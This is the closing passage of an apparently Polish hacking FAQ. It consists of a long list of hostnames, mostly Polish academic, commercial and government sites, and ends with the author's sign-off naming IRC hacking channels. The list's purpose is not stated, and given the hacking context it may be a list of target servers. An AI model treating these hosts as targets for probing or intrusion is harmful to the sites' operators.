WWW.ISPID.COM.PL
WWW.IP.KRAKOW.PL
WWW.IF.UJ.EDU.PL
WWW.OA.UJ.EDU.PL
WWW.CH.UJ.EDU.PL
WWW.LAW.UJ.EDU.PL
TH-WWW.IF.UJ.EDU.PL
WWW.II.UJ.EDU.PL
WWW.BJ.UJ.EDU.PL
WWW.IF.UJ.EDU.PL
TICHY.CH.UJ.EDU.PL
DRUID.IF.UJ.EDU.PL
ZFS.IF.UJ.EDU.PL
WWW.TL.KRAKOW.PL
WWW.KKI.KRAKOW.PL
WWW.MODULUS.COM.PL
WWW.MULTISOFT.KRAKOW.PL
WWW.NAFTOBUDOWA.IPL.NET
WWW.IGNG.KRAKOW.PL
WWW.ONET.PL
WWW.TPG.KRAKOW.PL
WWW.ABA.KRAKOW.PL
WWW.PROVEST.COM.PL
WWW.RMF.PL
WWW.RADIOPLUS.COM.PL
WWW.SOLIDEX.COM.PL
STUDENT.UCI.AGH.EDU.PL
WWW.S3000.KRAKOW.PL
WWW.TRANSPROJEKT.KRAKOW.PL
RAK.UCI.AGH.EDU.PL
WWW.UCI.AGH.EDU.PL
WWW.KT.AGH.EDU.PL
WWW.FTJ.AGH.EDU.PL
WWW.KWESTURA.AGH.EDU.PL
WWW.PK.EDU.PL
SUN1.WIL.PK.EDU.PL
EDISON3.EDISON.PK.EDU.PL
WWW.PK.EDU.PL
WWW.CHEMIA.PK.EDU.PL
WWW.TWINS.PK.EDU.PL
LIMBA.WIL.PK.EDU.PL
WWW.WSP.KRAKOW.PL
WWW.KRASNIK.PL
WWW.CIEG.COM.PL
WWW.MAN.LODZ.PL
WWW.ABIS.LODZ.PL
WWW.APRONET.LODZ.PL
WWW.CKZETO.COM.PL
WWW.UML.LODZ.PL
WWW.COMPART.LODZ.PL
WWW.PARTNER.LODZ.PL
WWW.DOSKOMP.LODZ.PL
JUMBO.ERICPOL.LODZ.PL
WWW.EFL.LODZ.PL
WWW.FAST.COM.PL
WWW.GEOSOFT.LODZ.PL
WWW.POCZTA.COM
WWW.JMK.LODZ.PL
WWW.LASER.COM.PL
WWW.LOOP.LODZ.PL
WWW.MAGANN.COM.PL
WWW.MAGNUM.LODZ.PL
WWW.AM.LODZ.PL
WWW.MAN.LODZ.PL
WWW.OPEL-RYGALIK.LODZ.PL
WWW.ORTEX.LODZ.PL
WWW.PACTOR.TPNET.PL
WWW.LODZ.PDI.NET
WWW.PLYTOLEX.COM.PL
WWW.SALTEX.LODZ.PL
WWW.STYLGRAF.LODZ.PL
WWW.UNI.LODZ.PL
IMUL.UNI.LODZ.PL
WWW.P.LODZ.PL
ZSKU.P.LODZ.PL
MITRHP.P.LODZ.PL
ZMW1.P.LODZ.PL
PKM1.P.LODZ.PL
WWW.P.LODZ.PL
WWW.CUPRUM.COM.PL
WWW.LUBLIN.PL
WWW.UMCS.LUBLIN.PL
ZIOPC29.UMCS.LUBLIN.PL
HEBE.UMCS.LUBLIN.PL
INDY.UMCS.LUBLIN.PL
WWW.POL.LUBLIN.PL
VOLT.POL.LUBLIN.PL
WWW.POL.LUBLIN.PL
JANTAR.ZSEL.LUBLIN.PL
WWW.TNET.PL
WWW.TNET.PL
WWW.ART.OLSZTYN.PL
WWW.ART.OLSZTYN.PL
WWW.INFONET.COM.PL
WWW.MAZURY.TOP.PL
WWW.CSO.OPTINET.PL
WWW.RO.COM.PL
WWW.UM.OPOLE.PL
WWW.INTERMIK.TPNET.PL
WWW.UNI.OPOLE.PL
MATH.UNI.OPOLE.PL
WWW.RADIO.OPOLE.PL
WWW.WSI.OPOLE.PL
WWW.OPOLE.TPSA.PL
WWW.MIKO.PILA.PL
WWW.TPNET.PL
WWW.ENERGIA2000.ORG.PL
WWW.ZSZ-PLESZEW.KALISZ.PL
WWW.PLOCMAN.PL
WWW.CS.PUT.POZNAN.PL
WWW.AMU.EDU.PL
WWW.ASTRO.AMU.EDU.PL
WWW.MAN.POZNAN.PL
SWAN.AU.POZNAN.PL
WWW.CADENA.COM.PL
WWW.ENERGETYKA.POZN.COM
AMPAT.AMU.EDU.PL
WWW.ML.USOMS.POZNAN.PL
WWW.TUP.EDU.PL
RUBY.POZ.EDU.PL
WWW.PUT.POZNAN.PL
RUBY.POZ.EDU.PL
WWW.MT.PUT.POZNAN.PL
WWW.CS.PUT.POZNAN.PL
WWW.ET.PUT.POZNAN.PL
WWW.PUT.POZNAN.PL
WWW.ML.PUT.POZNAN.PL
WWW.HSTL6.PUT.POZNAN.PL
WWW.PROTEL.POZNAN.PL
WWW.RADIO-MERKURY.POZNAN.PL
WWW.POZMAN.EDU.PL
WWW.SYLABA.POZNAN.PL
WWW.POZNAN.TPSA.PL
WWW.EFP.POZNAN.PL
WWW.AE.POZNAN.PL
WWW.INTERNET-INFO.COM.PL
WWW.CZART.PULAWY.PL
WWW.IUNG.PULAWY.PL
WWW.PIWET.PULAWY.PL
WWW.ZEW.COM.PL
WWW.PULSAR.COM.PL
WWW.RADOM.TOP.PL
WWW.WSRP.SIEDLCE.PL
WWW.SLUPSK.PL
WWW.BICOM.SLUPSK.PL
WWW.BICOM.SLUPSK.PL
WWW.BICOM.SLUPSK.PL
WWW.WSP.SLUPSK.PL
WWW.PLT.EDU.PL
WWW.BICOM.SLUPSK.PL
GIELDA-SAM.SLUPSK.PL
WWW.GROT.COM.PL
WWW.GROT.COM.PL
LINSTAR.ZSZ2.STARACHOWICE.PL
WWW.SUWALKI.TPSA.PL
WWW.SZCZECIN.PL
WWW.SZCZECIN.PL
WWW.EKON.AR.SZCZECIN.PL
WWW.INET.COM.PL
WWW.POCKET.COM.PL
WWW.PBKS.PL
WWW.TUNIV.SZCZECIN.PL
ARCADIA.TUNIV.SZCZECIN.PL
PLASTIC.TUNIV.SZCZECIN.PL
WWW.SZCZECIN.TPSA.PL
WWW.UBIQUE.COM.PL
WWW.UM.SZCZECIN.PL
WWW.TARNOBRZEG.TPSA.PL
WWW.I-LO.TARNOW.PL
WWW.IQNET.TARNOW.PL
WWW.WIOS.TARNOW.PL
WWW.TCIG.TARNOW.PL
MAIN.TOI.TARNOW.PL
WWW.UMT.TARNOW.IPL.NET
WSB.TOI.TARNOW.PL
WWW.ZETOSA.COM.PL
WWW.MAN.TORUN.PL
WWW.LOIV.TORUN.PL
WWW.XLO.TORUN.PL
WWW.ANKO.TORUN.PL
WWW.APATOR.TORUN.PL
WWW.PEC.TORUN.PL
WWW.GEOFIZYKA.TORUN.PL
WWW.INFOCOMP.TORUN.PL
LX.INFOMARKET.TORUN.PL
WWW.MALICKI-SG.TORUN.PL
WWW.NKJO.TORUN.PL
WWW.NCAC.TORUN.PL
WWW.CC.UNI.TORUN.PL
ALEX.BOA.UNI.TORUN.PL
CHEM.UNI.TORUN.PL
WWW.MAT.UNI.TORUN.PL
WWW.PHYS.UNI.TORUN.PL
WWW.PHYS.UNI.TORUN.PL
WWW.ASTRI.UNI.TORUN.PL
ERIS.PHYS.UNI.TORUN.PL
WWW.ASTRO.UNI.TORUN.PL
WWW.BIOL.UNI.TORUN.PL
WWW.PED.UNI.TORUN.PL
DWZ.RECT.UNI.TORUN.PL
WWW.TELEM.UNI.TORUN.PL
WWW.BOA.UNI.TORUN.PL
WWW.BU.UNI.TORUN.PL
WWW.TORUN.PDI.NET
WWW.MAN.TORUN.PL
WWW.TORUN.TPSA.PL
WWW.VINPOL.TORUN.PL
ZI.OSA.TORUN.PL
WWW.TAB-TRONIK.TELBANK.PL
SUNSITE.ICM.EDU.PL
WWW.ABCDATA.COM.PL
WWW.ABC-DC.COM.PL
WWW.CONTACT.WAW.PL
WWW.AGSMEDIA.COM.PL
VENUS.CI.UW.EDU.PL
WWW.PIP.COM.PL
WWW.ALTKOM.COM.PL
WWW.WONET.COM.PL
WWW.PROMISE.COM.PL
WWW.APPLE.COM.PL
ARCHIE.ICM.EDU.PL
WWW.MEDIANET.COM.PL
WWW.ATM.COM.PL
WWW.TELBANK.PL
WWW.BIZ.NET.PL
WWW.BMB.COM.PL
WWW.BOTAR.COM.PL
WWW.BRE-IB.COM.PL
WWW.BUSINESSMAN.COM.PL
WWW.IT.COM.PL
WWW.ATM.COM.PL
CEENET.NASK.ORG.PL
WWW.CIOP.WAW.PL
SUNSITE.ICM.EDU.PL
WWW.OEIIZK.WAW.PL
CIS.ORG.PL
CIS.ORG.PL
WWW.COMMED.PL
WWW.KBN.GOV.PL
WWW.COMNET.PL
WWW.COMP.WAW.PL
WWW.CSBI.WAW.PL
WWW.COFUND.ORG.PL
WWW.DAEWOO.COM.PL
WWW.DATACOM.COM.PL
WWW.DMBOS.COM.PL
WWW.UNIVCOMP.WAW.PL
WWW.ATM.COM.PL
WWW.BRE-IB.COM.PL
WWW.FONTEX.COM.PL
WWW.GAZETA.PL
WWW.GIGA.COM.PL
WWW.URM.GOV.PL
WWW.GRATIS.WAW.PL
WWW.HSN.COM.PL
WWW.PL.IBM.COM
WWW.DOBRESTRONY.COM.PL
INFOSEEK.ICM.EDU.PL
WWW.ITE.WAW.PL
WWW.ORGMASZ.WAW.PL
WWW.IPS.UW.EDU.PL
WWW.IL.WAW.PL
WWW.INTER.NET.PL
WWW.SECURITIES.COM.PL
WWW.ISP.COM.PL
WWW.IT.COM.PL
IDSSERV.WAW.IDS.EDU.PL
WWW.KNOLL.COM.PL
WWW.KSAP.WAW.PL
WWW.LUMENA.WAW.PL
WWW.MACROSOFT.WAW.PL
WWW.MEDIANET.COM.PL
WWW.ATM.COM.PL
WWW.MIT.GOV.PL
WWW.MSP.WAW.PL
WWW.MUSIC4U.COM.PL
WWW.NSC.NET.PL
NETFIND.ICM.EDU.PL
WWW.NFOSIGW.GOV.PL
WWW.NOVELL.COM.PL
WWW.OC.WAW.PL
WWW.OPTIMEDIA.COM.PL
WWW.OPTIMUM-MEDIA.COM.PL
WWW.OPTIMUS.WAW.PL
WWW.ORACLE.COM.PL
WWW.PAGI.PL
WWW.SEJM.GOV.PL
WWW.WAW.PDI.NET
WWW.PERYTNET.PL
WWW.POL.PL
WWW.POLBOX.COM.PL
WWW.PAIZ.GOV.PL
WWW.PSL.ORG.PL
WWW.PERYT.WAW.PL
WWW.PMC.COM.PL
ATOS.PSYCHPAN.WAW.PL
WWW.IBB.WAW.PL
WWW.IBIB.WAW.PL
WWW.IPIPAN.WAW.PL
INFO.IPPT.GOV.PL
YOGI.IPPT.GOV.PL
INFO.IGF.EDU.PL
WWW.IMPAN.GOV.PL
WWW.ICHF.EDU.PL
INFO.IFPAN.EDU.PL
WWW.NENCKI.GOV.PL
WWW.CAMK.EDU.PL
WWW.IBSPAN.WAW.PL
WWW.PGI.WAW.PL
WWW.PAP.WAW.PL
WWW.TVP.COM.PL
WWW.RADIO.COM.PL
WWW.RADIO.COM.PL
WWW.PSL.ORG.PL
WWW.POLSPARK.WAW.PL
WWW.PAGI.PL
WWW.PIAP.WAW.PL
WWW.PUBLICIS.COM.PL
WWW.QDNET.PL
WWW.XEROX.COM.PL
WWW.RANGELSOFT.COM
WWW.NASK.ORG.PL
TROLL.NASK.ORG.PL
WWW.SCIENTIFIC.COM.PL
WWW.SENAT.GOV.PL
WWW.SIMPLE.COM.PL
WWW.SOLIDEX.WAW.PL
INDIA.CYF.GOV.PL
SUNSITE.ICM.EDU.PL
WWW.SE.COM.PL
WWW.TCH.WAW.PL
WWW.NASK.ORG.PL
WWW.TG.COM.PL
WWW.WSUB.WAW.PL
WWW.UNIV.WAW.PL
WWW.ATM.COM.PL
SNSINFO.IFPAN.EDU.PL
WWW.SGGW.WAW.PL
WWW-RAK.SGGW.WAW.PL
WWW.WARMAN.ORG.PL
WWW.SGH.WAW.PL
WWW.PW.EDU.PL
WWW.ELKA.PW.EDU.PL
WWW.RIVIERA.PW.EDU.PL
BUBA.RIVIERA.PW.EDU.PL
WWW.CH.PW.EDU.PL
WWW.IEM.PW.EDU.PL
WWW.ICHIP.PW.EDU.PL
WWW.IL.PW.EDU.PL
WWW.ELKA.PW.EDU.PL
WWW.MEIL.PW.EDU.PL
OGG.II.PW.EDU.PL
IAIR.MP.PW.EDU.PL
WWW.IA.PW.EDU.PL
WWW.IF.PW.EDU.PL
VOLCANO.II.PW.EDU.PL
WWW.IPE.PW.EDU.PL
WWW.IIS.PW.EDU.PL
WWW.ITC.PW.EDU.PL
WWW.IM.PW.EDU.PL
WWW.IMIO.PW.EDU.PL
WWW.IRE.PW.EDU.PL
WWW.TELE.PW.EDU.PL
WWW.IT.PW.EDU.PL
WWW.BG.PW.EDU.PL
WWW.AMP.PW.EDU.PL
SP5PBE.RIVIERA.PW.EDU.PL
WWW.MEIL.PW.EDU.PL
WWW.IT.PW.EDU.PL
WWW.ASTROUW.EDU.PL
WWW.BOT.ASTROUW.EDU.PL
WWW.BOT.ASTROUW.EDU.PL
WWW.CHEM.UW.EDU.PL
PYTHON.CHEM.UW.EDU.PL
CIESIN.CI.UW.EDU.PL
MERCURY.CI.UW.EDU.PL
ZAA.MIMUW.EDU.PL
GRAB.MIMUW.EDU.PL
BULL.MIMUW.EDU.PL
ELEET.MIMUW.EDU.PL
HYDRA.MIMUW.EDU.PL
ALFA.MIMUW.EDU.PL
WWW.MIMUW.EDU.PL
ZLS.MIMUW.EDU.PL
ANDANTE.ISS.UW.EDU.PL
WWW.ICM.EDU.PL
PUMA.WZ.UW.EDU.PL
INFO.FUW.EDU.PL
SUNSOL.FUW.EDU.PL
148.81.145.21
WWW.WEBTRAVEL.COM.PL
WWWTECH.NET.PL
WWW.ZIGZAG.PL
WWW.REMUS.TOP.PL
ZSBIKMW.ZSBIKMW.WLOCL.PL
WWW.PWR.WROC.PL
WWW.KONGRES.WROC.PL
WWW.AE.WROC.PL
KSK-2.IIE.AE.WROC.PL
ETCETERA.IIE.AE.WROC.PL
MANAGER.AE.WROC.PL
WWW.AR.WROC.PL
WWW.AR.WROC.PL
OZI.AR.WROC.PL
WWW.GEO.AR.WROC.PL
BGAR.AR.WROC.PL
WWW.AWF.WROC.PL
WWW.CADBURY.COM.PL
WWW.ZALBIX.WROC.PL
WWW.EMIT.COM.PL
WWW.EFL.COM.PL
WWW.ORPHA.COM.PL
WWW.INCOM.WROC.PL
WWW.INFONET.WROC.PL
WWW.IASE.WROC.PL
WWW.IDS.UNI.WROC.PL
WWW.LMG.COM
WWW.MIKROZET.WROC.PL
WWW.NETSERVICE.COM.PL
IMMUNO.PAN.WROC.PL
WWW.INT.PAN.WROC.PL
WWW.POLMAX.COM.PL
WWW.UWOJ.WROC.PL
WWW.PWR.WROC.PL
SUN20.AC.PWR.WROC.PL
WWW.CI.PWR.WROC.PL
ALICJA.CI.PWR.WROC.PL
WWW.ARCH.PWR.WROC.PL
WWW.IIC.PWR.WROC.PL
WWW.ISTS.PWR.WROC.PL
WWW.IPEE.PWR.WROC.PL
WWW.ICT.PWR.WROC.PL
DIUNA.ICT.PWR.WROC.PL
WWW.IOZ.PWR.WROC.PL
WWW.IMMT.PWR.WROC.PL
WWW.IM.PWR.WROC.PL
WWW.CH.PWR.WROC.PL
IBM1.CH.PWR.WROC.PL
WWW.ITA.PWR.WROC.PL
WWW.BG.PWR.WROC.PL
WWW.WRO.TOP.PL
WWW.TETA.COM.PL
WWW.REJ.COM.PL
WWW.ASTRO.UNI.WROC.PL
WWW.CHEM.UNI.WROC.PL
WWW.II.UNI.WROC.PL
TEMPUS.II.UNI.WROC.PL
WWW.IFD.UNI.WROC.PL
WWW.MATH.UNI.WROC.PL
WWW.IFT.UNI.WROC.PL
WWW.BU.UNI.WROC.PL
WWW.PROREXIM.COM.PL
ZDO.WSSK.AM.WROC.PL
WWW.WCSS.WROC.PL
WWW.DOM.ZABRZE.PL
WWW.POWEN.ZABRZE.PL
WWW.PROGRES.ZABRZE.PL
WWW.ZAMOSC.POL.PL
WWW.LO4ZG.BPTNET.PL
WWW.MAX.COM.PL
WWW.WSP.ZGORA.PL
WWW.ZGORA.PL
WWW.IRIO.WSI.ZGORA.PL
WWW.IIE.WSI.ZGORA.PL
MAX.COM.PL
WWW.WSP.ZGORA.PL
WWW.WIMBP.ZGORA.PL
WWW.WBIS.WSI.ZGORA.PL
WWW.VICNET.NET.AU
LASERSPARK.ANU.EDU.AU
WWW.YUCC.YORKU.CA
FTN.NET
WWW.CAM.ORG
WWW.HUSARZ.COM
WWW.POLISH-BUS.COM
WWW.CAM.ORG
WWW.INFOPOL.COM
WWW.NETCOMTECH.MB.CA
WEB.ARCOS.ORG
WWW.POL-NET.COM
WWW.IONSYS.COM
VALIS.WORLDGATE.EDMONTON.AB.CA
WWW.EXECULINK.COM
WWW.NATALIA.COM
WWW.CAMPUSLIFE.UTORONTO.CA
WWW.MGL.CA
192.216.191.91
WWW.POLONIANET.COM
WWW.POLONIA-ONLINE.COM
OURWORLD.COMPUSERVE.COM
WWW.WATER-AND-FIRE.COM
WWW.PC-NOTRUF.DE
WWW.IS.IN-BERLIN.DE
WWW.INTERNET.GR
WWW2.GOL.COM
WWW.POLONIA.NL
HUIZEN.DDS.NL
WWW.IDG.NO
KPT.TELE.NTNU.NO
WWW.ALGONET.SE
WWW.NADA.KTH.SE
WWW.STRATH.AC.UK
WWW.ZEM.CO.UK
WWW.POLISHBUSINESS.CO.UK
SUN1.BHAM.AC.UK
WWW.INTAC.COM
WWW.BIZNET1.COM
WWW.CYBERDUDE.NET
WWW.MICROGRAFX.COM
WWW.PAN.NET
WWW.IDSONLINE.COM
WWW.ISISNET.COM
PONIECKI.BERKELEY.EDU
WWW.WWDIR.COM
WWW.WWDIR.COM
WWW.POLYEKO.COM
WWW.GEOCITIES.COM
WWW.GEOCITIES.COM
WWW.CENTRALEUROPE.COM
WWW.DNAI.COM
WWW.CONNACTIVITY.COM
WWW.POLHOME.COM
WWW.INGLOT.COM
WWW.POLISHPAGES.COM
BERNIANN.CLEVER.NET
WWW.NETPOL.COM
WWW.POLMART.COM
WWW.VIPROFIX.COM
WWW.WTINET.COM
WWW.EUROPOL.COM
WWW.BCONN.COM
WWW.MHV.NET
WWW.PERFEKT.NET
WWW.POLAND.NET
WWW.POLAND-BIZ.NET
WWW.SCN.ORG
WALDEN.MO.NET
WWW.W3.ORG
WWW.W3.ORG


To na tyle....

Jesli ktos uwaza ze FAQ ten jest do dupy, nie musi go czytac, jesli cos jest
niezrozumiale niech sie odwola do innych zrodel. Wielu rzeczy nie tlumaczylem
bo i po co jak jest to wytlumaczone gdzie indziej. W razie czego jestem
osiagalny pod >> stoned@friko4.onet.pl <<, lub na IRC (dalnet) na kanalach :
#hackingpl #crackpl, #haxors

Sorki za bledy, ale przy tej predkosci pisania... 

Pozdrowienia dla :

Gothara, Cysa, G_U_L_U_M, 3mila, lizaka, Int19h, Gala^sa , RAVNa ,
Crashkillera, Sleida, Kleva, Negocjatora, i wielu innych znajomych ktorych
znam a teraz nie pamietam...( sorry jesli kogos pominelem )

disconnected...